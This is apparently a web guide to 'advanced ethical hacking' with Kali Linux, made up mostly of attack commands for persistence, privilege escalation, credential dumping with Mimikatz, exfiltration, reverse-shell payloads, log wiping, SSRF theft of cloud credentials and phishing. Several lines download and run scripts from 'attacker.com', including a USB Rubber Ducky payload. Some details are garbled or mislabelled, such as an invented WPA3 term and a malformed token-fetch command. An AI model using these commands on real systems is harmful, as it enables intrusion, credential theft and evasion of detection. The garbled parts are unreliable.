Here’s a guide to execute advanced ethical hacking techniques using Kali Linux, focusing on post-exploitation, evasion, and specialized attacks . These techniques are critical for advanced penetration testers and red teams:
1. Advanced Post-Exploitation
A. Maintain Persistent Access
- Meterpreter :
- meterpreter > sysinfo # Gather system info
- meterpreter > getuid # Check current user
- meterpreter > shell # Spawn a shell
- meterpreter > persistence # Create a persistent backdoor
- PowerShell Empire :
- # Create a listener
- Empire > listeners
- Empire > listeners add http name=listener port=443# Deploy an agent
- Empire > agents
- Empire > usestager windows/meterpreter/reverse_http set Listener listener
- Cron Jobs (Linux) :
- echo “* * * * * /usr/bin/python /tmp/backdoor.py” >> /etc/cron.d/backdoor
B. Privilege Escalation
- Linux :
- SUID Exploits :
- # Find SUID binaries
- find / -perm -4000 2>/dev/null
- # Exploit a vulnerable binary (e.g., /usr/bin/grep)/path/to/exploit <binary>
- Kernel Exploits :
- # Check for CVE-2020-27134 (Docker Privilege Escalation)
- docker run -v /:/host –privileged alpine chroot /host sh
- SUID Exploits :
- Windows :
- Mimikatz :
- mimikatz.exe “privilege::debug””sekurlsa::logonpasswords”exit
- Mimikatz :
- Exploit Misconfigured Services :
- # Use a service with low privileges to escalate
- sc create EvilService bin Path= “C:\Windows\evil.exe” start= auto
C. Data Exfiltration
- Encrypted Exfiltration :
- # Use steganography to hide data in images
- steghide embed -ef /etc/passwd -cf image.jpg -p “password”
- DNS Tunneling :
- # Use Iodine to tunnel data over DNS
- sudo iodine -f -r 8.8.8.8 domain.com
2. Evasion & Obfuscation
A. Bypassing IDS/IPS
- Fragmented Packets :
- # Split payloads into small fragments
- hping3 -E payload.txt –flood -V <target>
- Polymorphic Code : Use tools like msfvenom with shikata_ga_nai encoder:
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -e x86/shikata_ga_nai -f exe > payload.exe
B. Living Off the Land
- Windows : Use native tools like PowerShell and WMI :powershell
- # Download and execute a script
- IEX (New-Object Net.WebClient).DownloadString(‘http://attacker.com/script.ps1’)
- # Download and execute a script
- Linux : Abuse cron and systemd for persistence:
- echo “@reboot /usr/bin/python /tmp/malicious.py” >> /etc/cron.d/evil
C. Anti-Forensics
- Clear Logs :
- # Linux
- echo “” > /var/log/auth.log
- # Windows
- wevtutil el | foreach { wevtutil cl $_ }
- Fileless Malware :
- Use PowerShell or Meterpreter to execute in-memory payloads.
3. Advanced Web Application Attacks
A. Deserialization Vulnerabilities
- Java (Apache Commons Collections) :
- # Generate a malicious serialized objectjava -jar ysoserial.jar CommonsCollections4 “calc.exe” > payload.ser
- curl -X POST –data-binary @payload.ser http://target.com/vulnerable-endpoint
B. Server-Side Request Forgery (SSRF)
- Exploit Internal Services :
- curl “http://target.com/api?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/”
C. API Exploitation
- Fuzzing : Use wfuzz to find hidden endpoints:
- wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://target.com/FUZZ
4. Wireless & IoT Exploitation
A. WPA3 Cracking
- PMF (Pairwise Master Key Integrity) Bypass :
- # Use Aircrack-ng with a patched kernel
- aircrack-ng -w wordlist.txt handshake.cap
B. IoT Device Exploitation
- Firmware Analysis :
- # Extract firmware with Binwalk
- binwalk -e firmware.bin
- # Exploit a buffer overflow in the firmware
- # Use a custom payload with Metasploit
C. Rogue Access Point (AP) Attack
- Bettercap :
- bettercap -iface wlan0 -eval “set arp.spoof.fakednsserver true; set arp.spoof.fakednshosts ‘target.com:192.168.1.100’; arp.spoof on; http.proxy on”
5. Cloud & Container Exploitation
A. AWS Misconfiguration
- Access S3 Buckets :
- # Use AWS CLI with stolen credentials
- aws s3 ls
- # Use AWS CLI with stolen credentials
- EC2 Privilege Escalation : Exploit misconfigured IAM roles:
- curl -X POST -H “Authorization: Bearer $(curl -s -X PUT -H “Content-Type: application/json””http://169.254.169.254/latest/api/token” -i | grep X-Subject-Token | cut -d ‘ ‘ -f2)” http://169.254.169.254/latest/meta-data/iam/security-credentials/
B. Kubernetes Exploitation
- Pod Privilege Escalation :
- # Exploit a privileged container
- kubectl exec -it <pod-name> — /bin/sh
6. Social Engineering & Physical Attacks
A. Spear Phishing
- Evilginx2 :
- # Set up a phishing site for Google Workspace
- evilginx2 –domain evil.com –target google.com –phishlets google
- Custom Phishing Kits : Use SET (Social-Engineer Toolkit) to create malicious payloads.
B. USB Drop Attacks
- Rubber Ducky :
- # Write a payload to a USB Rubber Ducky
- DELAY
- DELAY 1000
- STRING
- powershell -c “IEX (New-Object Net.WebClient).DownloadString(‘http://attacker.com/script.ps1’)”ENTER
7. Advanced Persistence & C2 Communication
A. Covert Channels
- DNS Tunneling :
- # Use Iodine for data exfiltration
- sudo iodine -f -r 8.8.8.8 c2.example.com
- IRC C2 :
- # Use Metasploit’s IRC stager
- msfvenom -p windows/meterpreter/reverse_irc LHOST=IP LPORT=6667 -f exe > payload.exe
B. C2 Frameworks
- Cobalt Strike :
- # Create a Beacon payload
- cobaltstrike teamserver start
- # Deploy via PowerShell
- powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://attacker.com/beacon.ps1’)”
- # Create a Beacon payload
8. Zero-Day Exploitation
A. Exploit Development
- Fuzzing : Use AFL or American Fuzzy Lop to find vulnerabilities:
- afl-fuzz -i input_dir -o output_dir ./vulnerable_app @@
- Write Shellcode : Use msfvenom or NASM to create custom payloads.
9. Memory Forensics
A. Dumping Memory
- Windows :
- # Use Volatility to analyze memory dumps
- volatility -f memory.dmp imageinfo
- volatility -f memory.dmp pslist
- Linux :
- # Dump memory with LiME
- insmod lime.ko “path=/tmp/memory.dmp”
- # Dump memory with LiME
10. Avoiding Detection
- Obfuscate Traffic : Use Tor or SSH tunnels for C2 communication.
- Timing Attacks : Delay payloads to avoid triggering alarms.
- Cover Tracks : Delete logs and use chattr +i to lock critical files.
Quick Reference Table
| Technique | Tool | Command/Usage |
|---|---|---|
| **Privilege Escalation` | LinPEAS | ./LinPEAS.sh -u |
| Meterpreter | Metasploit | meterpreter > sysinfo |
| DNS Tunneling | Iodine | sudo iodine -f -r 8.8.8.8 c2.example.com |
| Deserialization | ysoserial | java -jar ysoserial.jar CommonsCollections4 "calc.exe" > payload.ser |
| Rogue AP | Bettercap | bettercap -eval "arp.spoof on; http.proxy on" |
Best Practices
- Stay Updated : Follow exploit-db (https://www.exploit-db.com/ ) and CVE databases.
- Use VMs : Test in isolated environments (e.g., Proxmox, VirtualBox).
- Document Everything : Keep logs of all actions and findings.
- Ethical Compliance : Always have written authorization and avoid unintended damage.
Practice Resources
- Platforms :
- Hack The Box (Advanced machines).
- TryHackMe (Advanced rooms like “PwnPractise”).
- OverTheWire (Bandit, Leviathan).
- Books :
- The Shellcoder’s Handbook for exploit development.
- Violent Python for scripting attacks.
Final Tips
- Think Like an Attacker : Prioritize stealth and persistence.
- Automate : Write scripts for repetitive tasks (e.g., log clearing, payload generation).
- Join Communities : Engage with Offensive Security or Reddit’s r/NetSecpentest .
By mastering these advanced techniques, you’ll become proficient in ethical hacking and stay ahead of modern security defenses. Always ensure you’re operating within legal and ethical boundaries! 🔍🛡️
